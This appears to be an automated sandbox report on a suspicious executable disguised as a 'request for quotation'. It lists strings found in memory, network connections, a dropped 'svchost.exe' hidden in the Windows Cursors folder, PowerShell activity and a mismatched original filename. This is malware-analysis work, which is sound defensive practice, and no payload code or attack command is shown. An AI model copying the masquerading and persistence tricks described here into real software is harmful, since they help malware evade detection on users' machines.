Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.hollyfrontier.com/home/default.aspx
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://www.levi.com/GB/en_GB/
Source: svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com
Source: svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/corporate
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/corporate/become-a-wholesale-partner
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/corporate/brand-protection
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/corporate/charter
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/corporate/directors
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/corporate/partners
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/fans/apps-and-games
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/fans/fan-experience
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/fans/ldsa
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/fans/lfc-supporter-liaison-officer/about-the-supporters-liaison-officer
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/fans/safeguarding
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/fans/supporters-committee
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/heysel
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/hillsborough
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/history
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/history/honours
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/kopkids
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/match/2020-21/first-team/fixtures-and-results
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/membership
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/shop/official-club-stores
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com/theredway
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://www.liverpoolfc.com4
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.mancity.com
Source: svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.mancity.com/base/cjXfWTkOmKqhmsbNQCpZFbtJLOvjKxhlhkUPsqPbYfZAM.html
Source: svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/allredallequal
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822274442.0000000002366000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/Help/Accessibility
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/Help/Privacy-Policy
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/Partners/Global/Canon-Medical-Systems
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/Partners/Global/Visit-Malta
Source: svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/academy
Source: svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/help/club-contacts?int_source=manutd.com&int_medium=menu&int_campa
Source: svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/help?int_source=manutd.com&int_medium=menu&int_campaign=generic&am
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/matches/matchcenter/chelsea-vs-man-utd-match-2128536
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/matches/matchcenter/crystal-palace-vs-man-utd-match-2128568
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/matches/matchcenter/man-city-vs-man-utd-match-2128551
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/matches/matchcenter/man-utd-vs-milan-match-2192703
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/matches/matchcenter/man-utd-vs-newcastle-match-2128532
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/matches/matchcenter/man-utd-vs-real-sociedad-match-2180594
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/matches/matchcenter/man-utd-vs-west-ham-match-2128562
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/matches/matchcenter/milan-vs-man-utd-match-2192704
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/matches/matchcenter?matchId=2128568
Source: svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/partners/charity?source=menu
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/partners/global/cadbury
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/partners/global/marriott-hotels
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/partners/global/swissquote
Source: svchost.exe, 00000015.00000003.759244250.0000000003D2E000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/partners/global/tag-heuer
Source: svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com/en/portal/feedback?source=menu
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822274442.0000000002366000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.manutd.com4
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://www.mitel.com/learn/case-studies/liverpool-football-club
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp	String found in binary or memory: https://www.mondelezinternational.com/
Source: svchost.exe, 00000015.00000003.788138607.0000000003CB9000.00000004.00000001.sdmp	String found in binary or memory: https://www.mufoundation.org/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.nike.com/gb/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.quorn.com/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.realmadrid.com
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822422838.0000000002379000.00000004.00000001.sdmp, REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926083045.0000000002B59000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.realmadrid.com/base/cjXfWTkOmKqhmsbNQCpZFbtJLOvjKxhlhkUPsqPbYfZAM.html
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.snapchat.com/
Source: svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.tiktok.com/
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.tourism-mauritius.mu
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.twitter.com/realmadrid
Source: svchost.exe, 00000015.00000002.925293248.0000000002AF1000.00000004.00000001.sdmp	String found in binary or memory: https://www.youtube.com/manutd
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.822751649.0000000002392000.00000004.00000001.sdmp, svchost.exe, 00000015.00000002.926505939.0000000002C13000.00000004.00000001.sdmp	String found in binary or memory: https://www.youtube.com/realmadrid

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.819678433.000000000069B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary:

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: REQUEST FOR QUOTATION 4675674665.exe

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe

File created: C:\Windows\Cursors\WyFBfGdNMamQGdJVi

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 0_2_00B2D004	0_2_00B2D004
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 0_2_00B2B184	0_2_00B2B184
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 0_2_00B2F470	0_2_00B2F470
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 0_2_00B2D9F0	0_2_00B2D9F0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 0_2_00B2DA00	0_2_00B2DA00
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_023C0668	15_2_023C0668
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_023CB2B0	15_2_023CB2B0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_023C7B98	15_2_023C7B98
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_023C59E0	15_2_023C59E0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_023C4630	15_2_023C4630
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_023C0658	15_2_023C0658
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_023C0B70	15_2_023C0B70
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_023C0B80	15_2_023C0B80
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_023C1638	15_2_023C1638
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_023C1628	15_2_023C1628
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C07490	15_2_05C07490
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C04410	15_2_05C04410
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C0C060	15_2_05C0C060
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C0A318	15_2_05C0A318
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C0F318	15_2_05C0F318
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C04C60	15_2_05C04C60
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C03C60	15_2_05C03C60
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C03585	15_2_05C03585
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C0747F	15_2_05C0747F
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C0143C	15_2_05C0143C
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_05C03C51	15_2_05C03C51
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060507D8	15_2_060507D8
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06054410	15_2_06054410
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06055C18	15_2_06055C18
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06053C28	15_2_06053C28
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06053440	15_2_06053440
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060524C8	15_2_060524C8
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06052D18	15_2_06052D18
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06059348	15_2_06059348
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06058B60	15_2_06058B60
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06058378	15_2_06058378
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06057B90	15_2_06057B90
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06056B98	15_2_06056B98
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060573A8	15_2_060573A8
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060563B0	15_2_060563B0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060553E0	15_2_060553E0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06054BF8	15_2_06054BF8
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06050040	15_2_06050040
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060511E0	15_2_060511E0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06055C0A	15_2_06055C0A
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06053481	15_2_06053481
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06052D0F	15_2_06052D0F
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06059337	15_2_06059337
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06050030	15_2_06050030
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060511D0	15_2_060511D0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606F2A0	15_2_0606F2A0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606EAB8	15_2_0606EAB8
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606E2D0	15_2_0606E2D0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606DAE8	15_2_0606DAE8
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606CB18	15_2_0606CB18
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606C330	15_2_0606C330
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606BB48	15_2_0606BB48
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606D350	15_2_0606D350
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606B360	15_2_0606B360
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606AB78	15_2_0606AB78
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606A3E0	15_2_0606A3E0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06069BF8	15_2_06069BF8
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06069410	15_2_06069410
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06067C58	15_2_06067C58
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06068C78	15_2_06068C78
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06066C88	15_2_06066C88
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06068490	15_2_06068490
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060674C0	15_2_060674C0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060664F0	15_2_060664F0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060631A0	15_2_060631A0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606D342	15_2_0606D342
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_0606A3D0	15_2_0606A3D0
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06068C6A	15_2_06068C6A
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_06068487	15_2_06068487
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060674B7	15_2_060674B7
Source: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe	Code function: 15_2_060664E1	15_2_060664E1
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Code function: 21_2_00E216B0	21_2_00E216B0
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Code function: 24_2_0500F470	24_2_0500F470
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Code function: 24_2_0500D004	24_2_0500D004
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Code function: 24_2_0500B184	24_2_0500B184
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Code function: 24_2_0500D9F0	24_2_0500D9F0
Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe	Code function: 24_2_0500DA00	24_2_0500DA00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_08337880	33_2_08337880
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_0833F220	33_2_0833F220
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_08337880	33_2_08337880
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_08835248	33_2_08835248
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_0883B4F8	33_2_0883B4F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_0883523A	33_2_0883523A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_0883B4E8	33_2_0883B4E8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_08830042	33_2_08830042
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_08830040	33_2_08830040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_02E9C8A0	37_2_02E9C8A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_02E9DAE3	37_2_02E9DAE3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_02E9DAF0	37_2_02E9DAF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_07AF7E00	37_2_07AF7E00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_07AF7E00	37_2_07AF7E00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_0806A238	37_2_0806A238
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_080652C8	37_2_080652C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_0806A1F9	37_2_0806A1F9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_080652B9	37_2_080652B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_0866D098	37_2_0866D098
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_0866D098	37_2_0866D098
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_0806003F	37_2_0806003F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 37_2_08060040	37_2_08060040

Source: unknown

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6976 -ip 6976

Source: REQUEST FOR QUOTATION 4675674665.exe

Static PE information: invalid certificate

Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000000.650219782.0000000000016000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameALTROWSTATUS.exe: vs REQUEST FOR QUOTATION 4675674665.exe
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.821940448.0000000002331000.00000004.00000001.sdmp	Binary or memory string: OriginalFilename vs REQUEST FOR QUOTATION 4675674665.exe
Source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.819678433.000000000069B000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs REQUEST FOR QUOTATION 4675674665.exe
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000C.00000000.710740362.0000000000176000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameALTROWSTATUS.exe: vs REQUEST FOR QUOTATION 4675674665.exe
Source: REQUEST FOR QUOTATION 4675674665.exe, 0000000D.00000000.711436077.00000000002B6000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameALTROWSTATUS.exe: vs REQUEST FOR QUOTATION 4675674665.exe
